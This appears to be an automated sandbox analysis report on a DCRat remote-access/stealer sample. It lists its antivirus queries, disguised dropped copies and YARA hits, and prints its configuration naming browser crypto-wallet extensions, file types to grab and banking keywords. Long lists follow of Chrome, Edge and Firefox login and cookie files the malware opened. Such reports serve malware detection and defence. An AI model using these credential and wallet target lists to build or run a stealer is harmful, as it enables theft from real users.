Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: eC:/Users/All Users\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: TC:/Users/All Users\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vC:/Users/All Users\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe

Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: fDTPlvsGfH.exe, type: SAMPLE
Source: Yara match	File source: 0.0.fDTPlvsGfH.exe.60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1623414051.0000000000062000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fDTPlvsGfH.exe PID: 6168, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe PID: 7744, type: MEMORYSTR
Source: Yara match	File source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Downloaded Program Files\MoUsoCoreWorker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\csrss.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: fDTPlvsGfH.exe, 00000000.00000002.1670534980.0000000002681000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {"0":[],"31395ecd-4eed-48b9-a47f-81dbcc84ccdf":{"_0":"True","_1":"nkbihfbeogaeaoehlefnkodbefgpgknn:MetaMask\nejbalbakoplchlghecdalmeeeajnimhm:MetaMask\nibnejdfjmmkpcnlpebklmnkoeoihofec:TronLink\nfnjhmkhhmkbjkkabndcnnogagogbneec:Ronin\nkjmoohlgokccodicjjfebfomlbljgfhk:Ronin\nfhbohimaelbohpjbbldcngcnapndodjp:BinanceChain\nbfnaelmomeimhlpmgjnjophhpkkoljpa:Phantom\nnphplpgoakhhjchkkhmiggakijnkhfnd:TONWeb\nffnbelfdoeiohenkjibnmadjiehjhajb:Yoroi\nakoiaibnepcedcplijmiamnaigbepmcb:Yoroi\nafbcbjpbpfadlkmhmclhkeeodmamcflc:MathWallet\nhnfanknocfeofbddgcijnmhnfnkdnaad:Coinbase\nimloifkgjagghnncjkhggdhalmcnfklk:TrezorPM\nilgcnhelpchnceeipipijaljkblbcobl:GAuth\noeljdldpnmdbchonielidgobddffflal:EOS\ncjelfplplebdjjenllpjcblmjkfcffne:JaxxLiberty\nlgmpcpglpngdoalbgeoldeajfclnhafa:SafePal\naholpfdialjgjfhomihkjbmgjidlcdno:Exodus","_2":"All Users","_3":"True"},"8c7d95c1-4def-4a0e-952b-f3c453358f2e":{"_0":"Desktop\|{SYSTEMDRIVE}/Users/{USERNAME}/Desktop/\|.txt;.cs;.lua;.asi;.json;.ini;.word;.xlsx;*.jpg\|1000\|t","_1":"Group name"},"d1159ac1-2243-45e3-9bad-55df4f7732e9":{"_0":"crypto;bank;authorization;account","_1":"1500","_2":"15","_3":"True"},"ff275d84-13f9-47b8-9de6-a3dfeab3ea1e":{"_0":"Builds","_1":""}}
Source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: fDTPlvsGfH.exe, 00000000.00000002.1670534980.0000000002681000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {"0":[],"31395ecd-4eed-48b9-a47f-81dbcc84ccdf":{"_0":"True","_1":"nkbihfbeogaeaoehlefnkodbefgpgknn:MetaMask\nejbalbakoplchlghecdalmeeeajnimhm:MetaMask\nibnejdfjmmkpcnlpebklmnkoeoihofec:TronLink\nfnjhmkhhmkbjkkabndcnnogagogbneec:Ronin\nkjmoohlgokccodicjjfebfomlbljgfhk:Ronin\nfhbohimaelbohpjbbldcngcnapndodjp:BinanceChain\nbfnaelmomeimhlpmgjnjophhpkkoljpa:Phantom\nnphplpgoakhhjchkkhmiggakijnkhfnd:TONWeb\nffnbelfdoeiohenkjibnmadjiehjhajb:Yoroi\nakoiaibnepcedcplijmiamnaigbepmcb:Yoroi\nafbcbjpbpfadlkmhmclhkeeodmamcflc:MathWallet\nhnfanknocfeofbddgcijnmhnfnkdnaad:Coinbase\nimloifkgjagghnncjkhggdhalmcnfklk:TrezorPM\nilgcnhelpchnceeipipijaljkblbcobl:GAuth\noeljdldpnmdbchonielidgobddffflal:EOS\ncjelfplplebdjjenllpjcblmjkfcffne:JaxxLiberty\nlgmpcpglpngdoalbgeoldeajfclnhafa:SafePal\naholpfdialjgjfhomihkjbmgjidlcdno:Exodus","_2":"All Users","_3":"True"},"8c7d95c1-4def-4a0e-952b-f3c453358f2e":{"_0":"Desktop\|{SYSTEMDRIVE}/Users/{USERNAME}/Desktop/\|.txt;.cs;.lua;.asi;.json;.ini;.word;.xlsx;*.jpg\|1000\|t","_1":"Group name"},"d1159ac1-2243-45e3-9bad-55df4f7732e9":{"_0":"crypto;bank;authorization;account","_1":"1500","_2":"15","_3":"True"},"ff275d84-13f9-47b8-9de6-a3dfeab3ea1e":{"_0":"Builds","_1":""}}
Source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: powershell.exe, 00000001.00000002.2444317338.000001BD90075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: # AutoUnlockKeyStored. Win32_EncryptableVolume::IsAutoUnlockKeyStored

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
